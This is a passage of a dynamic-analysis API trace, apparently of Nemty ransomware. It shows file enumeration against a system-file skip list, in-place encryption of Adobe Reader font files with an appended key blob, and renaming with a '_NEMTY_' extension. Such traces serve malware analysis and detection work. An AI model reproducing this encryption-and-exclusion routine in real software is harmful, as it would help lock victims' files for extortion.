pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0214.389] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0214.389] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0214.389] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0214.389] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="p60X1CYun/BgkK4R9WC+yP061uhmPffsCSE9pqmJLKFurf6q9L+0KKKzWfMw0mPt\r\n1qWlqw2xbdL4eGEI0EbdANhmXwx9X6Z/Z64durhYTQlrerejSLJQATgvXZuagCIP\r\np8ZHvBg1xuSJFaigsMhZ4SgdIAfCdM2BeNMkR/99M8JbKHWip0TMszhxle+a9tOd\r\nBRm0iazeGUmwgz+k40f0fob2LGrog2RKly6xLjGiJ9OE2S5C9QzhNdrnbbl3dgLO\r\nA0k4AvzSnmEf7QX8GbZ4guHooWxk1Er8zFkKdci3Gr02093yVmAMJNbfGftyFFZ7\r\nDhDLH/fHZe8ZI4KKNADvDw==\r\n", pcchString=0x653e91c) returned 1 [0214.389] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0214.389] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.389] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0214.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0214.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0214.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0214.390] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\MyriadPro-BoldIt.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\myriadpro-boldit.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0214.390] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=100252) returned 1 [0214.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x18790) returned 0x6352c48 [0214.390] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.390] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x18790, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x18790, lpOverlapped=0x0) returned 1 [0214.398] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.398] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x18790, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x18790, lpOverlapped=0x0) returned 1 [0214.399] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0214.399] SetFilePointer (in: hFile=0x254, lDistanceToMove=100252, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1879c [0214.399] WriteFile (in: hFile=0x254, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0214.399] CloseHandle (hObject=0x254) returned 1 [0214.399] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f941d8 [0214.399] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0214.399] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0214.399] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0214.399] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0214.399] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0214.399] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94280 [0214.399] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94328 [0214.399] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94280 | out: hHeap=0x4f90000) returned 1 [0214.399] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0214.399] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\MyriadPro-BoldIt.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\myriadpro-boldit.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\MyriadPro-BoldIt.otf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\myriadpro-boldit.otf._nemty_kgobjgd_")) returned 1 [0214.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0214.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941d8 | out: hHeap=0x4f90000) returned 1 [0214.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0214.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0214.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0214.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94130 | out: hHeap=0x4f90000) returned 1 [0214.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.400] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f5a2e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x17f10, dwReserved0=0x0, dwReserved1=0x0, cFileName="MyriadPro-It.otf", cAlternateFileName="MYRIAD~1.OTF")) returned 1 [0214.400] lstrcmpiW (lpString1="MyriadPro-It.otf", lpString2=".") returned 1 [0214.400] lstrcmpiW (lpString1="MyriadPro-It.otf", lpString2="..") returned 1 [0214.400] lstrcmpiW (lpString1="MyriadPro-It.otf", lpString2="...") returned 1 [0214.400] lstrcmpiW (lpString1="MyriadPro-It.otf", lpString2="windows") returned -1 [0214.400] lstrcmpiW (lpString1="MyriadPro-It.otf", lpString2="$RECYCLE.BIN") returned 1 [0214.400] lstrcmpiW (lpString1="MyriadPro-It.otf", lpString2="rsa") returned -1 [0214.400] lstrcmpiW (lpString1="MyriadPro-It.otf", lpString2="NTDETECT.COM") returned -1 [0214.400] lstrcmpiW (lpString1="MyriadPro-It.otf", lpString2="ntldr") returned -1 [0214.400] lstrcmpiW (lpString1="MyriadPro-It.otf", lpString2="MSDOS.SYS") returned 1 [0214.400] lstrcmpiW (lpString1="MyriadPro-It.otf", lpString2="IO.SYS") returned 1 [0214.400] lstrcmpiW (lpString1="MyriadPro-It.otf", lpString2="boot.ini") returned 1 [0214.400] lstrcmpiW (lpString1="MyriadPro-It.otf", lpString2="boot.ini") returned 1 [0214.400] lstrcmpiW (lpString1="MyriadPro-It.otf", lpString2="AUTOEXEC.BAT") returned 1 [0214.400] lstrcmpiW (lpString1="MyriadPro-It.otf", lpString2="ntuser.dat") returned -1 [0214.400] lstrcmpiW (lpString1="MyriadPro-It.otf", lpString2="desktop.ini") returned 1 [0214.400] lstrcmpiW (lpString1="MyriadPro-It.otf", lpString2="CONFIG.SYS") returned 1 [0214.400] lstrcmpiW (lpString1="MyriadPro-It.otf", lpString2="RECYCLER") returned -1 [0214.400] lstrcmpiW (lpString1="MyriadPro-It.otf", lpString2="BOOTSECT.BAK") returned 1 [0214.400] lstrcmpiW (lpString1="MyriadPro-It.otf", lpString2="bootmgr") returned 1 [0214.400] lstrcmpiW (lpString1="MyriadPro-It.otf", lpString2="programdata") returned -1 [0214.400] lstrcmpiW (lpString1="MyriadPro-It.otf", lpString2="appdata") returned 1 [0214.400] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0214.400] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MyriadPro-It.otf", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0214.400] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.401] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MyriadPro-It.otf", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyriadPro-It.otf", lpUsedDefaultChar=0x0) returned 16 [0214.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0214.401] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MyriadPro-It.otf", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0214.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.401] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MyriadPro-It.otf", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyriadPro-It.otf", lpUsedDefaultChar=0x0) returned 16 [0214.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0214.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0214.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0214.401] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MyriadPro-It.otf", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0214.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.401] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MyriadPro-It.otf", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyriadPro-It.otf", lpUsedDefaultChar=0x0) returned 16 [0214.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0214.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0214.401] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MyriadPro-It.otf", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0214.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.401] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MyriadPro-It.otf", cchWideChar=16, lpMultiByteStr=0x4f9ed08, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyriadPro-It.otf", lpUsedDefaultChar=0x0) returned 16 [0214.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0214.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0214.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0214.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0214.401] Sleep (dwMilliseconds=0x5) [0214.404] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x336eb550, dwHighDateTime=0x1d561e8)) [0214.405] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x336eb550, dwHighDateTime=0x1d561e8)) [0214.405] GetLastError () returned 0x0 [0214.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.405] GetLastError () returned 0x0 [0214.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0214.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0214.405] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0214.405] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0214.405] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0214.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0214.405] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="pyMBcmWhqew26rxQw7HhYoi2sIvV1gbi7cSmJIz1ITjLfAVzvGZ1k/Lf8gCFeptB\r\nC4LXfzljGmXLSBtbGDNzN3vmZHgrh3tZNOG1IjwXNqo6uwt+R2j1YNJdoKlkNb4H\r\nefPO9mpJixg/aN/2xEK+EGNciZmiHIa5JrUZWbPfGOKbwZCBiye3vuqJU4vrgPSd\r\nAVM0pTrVnvz+UYJR/u5axBgf9dzlTq0WMmsYaOKxu4nPEediJs3qHAYHMIfuOUOW\r\nFBolEioW7+VX6Erbbc1tTh9aS/vBLwAcCrSR2JzBB0c4Tdw3YxKS1tvYZyx47xk2\r\nkr6+J2sFruBhPnhjLVqoBA==\r\n", pcchString=0x653e91c) returned 1 [0214.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0214.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0214.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0214.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0214.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0214.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0214.405] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\MyriadPro-It.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\myriadpro-it.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0214.406] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=98064) returned 1 [0214.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x17f10) returned 0x6352c48 [0214.406] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.406] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x17f10, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x17f10, lpOverlapped=0x0) returned 1 [0214.414] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.414] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x17f10, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x17f10, lpOverlapped=0x0) returned 1 [0214.414] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0214.414] SetFilePointer (in: hFile=0x254, lDistanceToMove=98064, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x17f10 [0214.414] WriteFile (in: hFile=0x254, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0214.414] CloseHandle (hObject=0x254) returned 1 [0214.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0214.414] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0214.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0214.415] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0214.415] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0214.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0214.415] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94088 [0214.415] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94130 [0214.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0214.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0214.415] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\MyriadPro-It.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\myriadpro-it.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\MyriadPro-It.otf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\myriadpro-it.otf._nemty_kgobjgd_")) returned 1 [0214.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94130 | out: hHeap=0x4f90000) returned 1 [0214.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0214.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0214.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0214.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0214.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0214.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.416] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f7b8140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x17098, dwReserved0=0x0, dwReserved1=0x0, cFileName="MyriadPro-Regular.otf", cAlternateFileName="MYRIAD~4.OTF")) returned 1 [0214.416] lstrcmpiW (lpString1="MyriadPro-Regular.otf", lpString2=".") returned 1 [0214.416] lstrcmpiW (lpString1="MyriadPro-Regular.otf", lpString2="..") returned 1 [0214.416] lstrcmpiW (lpString1="MyriadPro-Regular.otf", lpString2="...") returned 1 [0214.416] lstrcmpiW (lpString1="MyriadPro-Regular.otf", lpString2="windows") returned -1 [0214.416] lstrcmpiW (lpString1="MyriadPro-Regular.otf", lpString2="$RECYCLE.BIN") returned 1 [0214.416] lstrcmpiW (lpString1="MyriadPro-Regular.otf", lpString2="rsa") returned -1 [0214.416] lstrcmpiW (lpString1="MyriadPro-Regular.otf", lpString2="NTDETECT.COM") returned -1 [0214.416] lstrcmpiW (lpString1="MyriadPro-Regular.otf", lpString2="ntldr") returned -1 [0214.416] lstrcmpiW (lpString1="MyriadPro-Regular.otf", lpString2="MSDOS.SYS") returned 1 [0214.416] lstrcmpiW (lpString1="MyriadPro-Regular.otf", lpString2="IO.SYS") returned 1 [0214.416] lstrcmpiW (lpString1="MyriadPro-Regular.otf", lpString2="boot.ini") returned 1 [0214.416] lstrcmpiW (lpString1="MyriadPro-Regular.otf", lpString2="boot.ini") returned 1 [0214.416] lstrcmpiW (lpString1="MyriadPro-Regular.otf", lpString2="AUTOEXEC.BAT") returned 1 [0214.416] lstrcmpiW (lpString1="MyriadPro-Regular.otf", lpString2="ntuser.dat") returned -1 [0214.416] lstrcmpiW (lpString1="MyriadPro-Regular.otf", lpString2="desktop.ini") returned 1 [0214.416] lstrcmpiW (lpString1="MyriadPro-Regular.otf", lpString2="CONFIG.SYS") returned 1 [0214.416] lstrcmpiW (lpString1="MyriadPro-Regular.otf", lpString2="RECYCLER") returned -1 [0214.416] lstrcmpiW (lpString1="MyriadPro-Regular.otf", lpString2="BOOTSECT.BAK") returned 1 [0214.416] lstrcmpiW (lpString1="MyriadPro-Regular.otf", lpString2="bootmgr") returned 1 [0214.416] lstrcmpiW (lpString1="MyriadPro-Regular.otf", lpString2="programdata") returned -1 [0214.416] lstrcmpiW (lpString1="MyriadPro-Regular.otf", lpString2="appdata") returned 1 [0214.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0214.416] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MyriadPro-Regular.otf", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0214.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.416] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MyriadPro-Regular.otf", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyriadPro-Regular.otf", lpUsedDefaultChar=0x0) returned 21 [0214.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0214.416] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MyriadPro-Regular.otf", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0214.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.416] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MyriadPro-Regular.otf", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyriadPro-Regular.otf", lpUsedDefaultChar=0x0) returned 21 [0214.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0214.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0214.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0214.417] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, 